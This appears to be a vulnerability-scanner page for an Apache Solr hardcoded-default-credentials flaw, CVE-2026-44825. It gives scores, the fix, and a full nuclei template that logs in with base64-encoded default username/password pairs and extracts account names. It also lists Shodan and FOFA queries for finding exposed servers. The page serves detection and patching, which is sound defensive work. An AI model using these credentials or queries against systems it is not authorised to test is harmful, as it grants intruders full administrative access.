Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials

highseverity

8.1CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.

Impact

Remote attackers can gain full administrative access to the cluster using default credentials.

Fix

Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.

How to confirm it

Send: GET /solr/admin/info/system?wt=json
Positive when: (status_code == 200 && contains_any(body, "solr-spec-version", "lucene", "solrHome")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), "solr", "basic"))
Send: GET /solr/admin/cores?action=STATUS&wt=json
Positive when: status_code == 401 || status_code == 403
Send: GET /solr/admin/cores?action=STATUS&wt=json
Positive when: status_code == 200 and contains_all(body, "responseHeader", "status") and !contains(body, "Authentication")

Run it with nuclei: nuclei -id CVE-2026-44825 -u <target>

The full check

id: CVE-2026-44825

info:
  name: Apache Solr 9.4.0-9.10.1 / 10.0.0 - Hardcoded Default Credentials
  author: pdteam,0x_Akoko
  severity: high
  description: |
    Apache Solr 9.4.0 through 9.10.1 and 10.0.0 contain a hardcoded credentials vulnerability caused by default Basic Authentication template users in bin/solr auth enable, letting remote attackers gain full administrative access. Exploit requires use of default template users.
  impact: |
    Remote attackers can gain full administrative access to the cluster using default credentials.
  remediation: |
    Upgrade to versions 9.11.0, 10.1.0 or later; alternatively, delete template users or change their passwords in security.json.
  reference:
    - https://lists.apache.org/thread/5xg6xr99glocp3zsg9ht2zlbwlrst7ch
    - http://www.openwall.com/lists/oss-security/2026/05/29/6
    - https://github.com/shinthink/solrradar
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44825
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-44825
    epss-score: 0.03922
    epss-percentile: 0.90431
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 6
    shodan-query: product:"Apache Solr" port:8983
    fofa-query: app="Apache-Solr" || title="Solr Admin"
  tags: cve,cve2026,apache,solr,default-login,vkev

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /solr/admin/info/system?wt=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - '(status_code == 200 && contains_any(body, "solr-spec-version", "lucene", "solrHome")) || ((status_code == 401 || status_code == 403) && contains_any(to_lower(header), "solr", "basic"))'
        internal: true

  - raw:
      - |
        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401 || status_code == 403'
        internal: true

  - raw:
      - |
        GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{auth}}

    payloads:

      username:
        - solr
        - admin
        - search
        - index

      auth:
        - c29scjpTb2xyUm9ja3M=
        - YWRtaW46U29sclJvY2tz
        - c2VhcmNoOlNvbHJSb2Nrcw==
        - aW5kZXg6U29sclJvY2tz

    attack: pitchfork

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "responseHeader", "status")'
          - '!contains(body, "Authentication")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username

      - type: regex
        group: 1
        regex:
          - '"name"\s*:\s*"([a-zA-Z0-9_-]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from